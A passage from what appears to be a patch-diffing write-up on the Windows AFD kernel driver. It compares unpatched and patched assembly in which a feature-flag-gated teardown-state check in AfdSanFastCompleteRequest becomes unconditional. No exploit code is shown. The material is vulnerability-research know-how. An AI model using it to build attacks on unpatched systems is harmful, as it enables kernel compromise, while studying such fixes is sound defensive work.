&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C005991E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;g_Feature_2949905720_61057653_FeatureDescriptorDetails&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0059925&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;90&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C005992C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;A8h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0059933&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;78&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0059937&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;AAh&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C005993E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;FFFBh&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0059943&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0059946&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;EvaluateCurrentState&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C005994B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C005994D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C005995F&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; feature OFF -&amp;gt; skip drain&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C005994F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebp&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; arg3 = completion status&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0059952&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;LockHandle&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; arg2 = &amp;amp;LockHandle&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0059957&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; arg1 = connection&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C005995A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;AfdDrainListeningIrps&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; NEW: drain + complete pending listen IRPs&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C005995F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;LockHandle&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0059964&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_KeReleaseInStackQueuedSpinLock&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h3&gt;Finding 3 — &lt;code&gt;AfdSanFastCompleteRequest&lt;/code&gt; Teardown-State Check&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Unpatched assembly&lt;/strong&gt; (state check gated by the feature flag):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0078958&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; SpinLock (conn+0x30)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007895C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;B8h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;LockHandle&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0078964&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_KeAcquireInStackQueuedSpinLock&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007896A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;AfdSanCancelRequest&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0078971&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xchg&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;68&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; Irp-&amp;gt;CancelRoutine = AfdSanCancelRequest&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0078975&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;44&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; Irp-&amp;gt;Cancel&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0078979&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00789D2&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; cancelled -&amp;gt; complete as cancelled&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007897B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;g_Feature_757798200_60363861_FeatureDescriptorDetails&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0078982&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;EvaluateCurrentState&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0078987&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0078989&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0078995&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; feature OFF -&amp;gt; SKIP the [conn+0x91] check, queue IRP&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007898B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;91&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; teardown-state byte&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0078993&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00789D2&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0078995&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;A8h&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; Irp list entry (Irp+0xA8)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007899C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;70&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; list head (conn+0x70)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00789A0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00789A3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00789A7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00789B0&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00789A9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00789AE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;int&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;; RtlFailFast on list corruption&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00789B0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; queue IRP onto conn+0x70 list&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00789B3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00789B7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00789BB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Patched assembly&lt;/strong&gt; (state check unconditional, feature-flag call removed):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0077A3A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;AfdSanCancelRequest&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0077A41&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xchg&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;68&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; Irp-&amp;gt;CancelRoutine = AfdSanCancelRequest&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0077A45&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;44&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; Irp-&amp;gt;Cancel&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0077A49&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0077A92&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; cancelled -&amp;gt; complete as cancelled&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0077A4B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;91&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; teardown-state byte (always checked)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0077A53&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0077A92&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0077A55&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;A8h&lt;/span&gt;
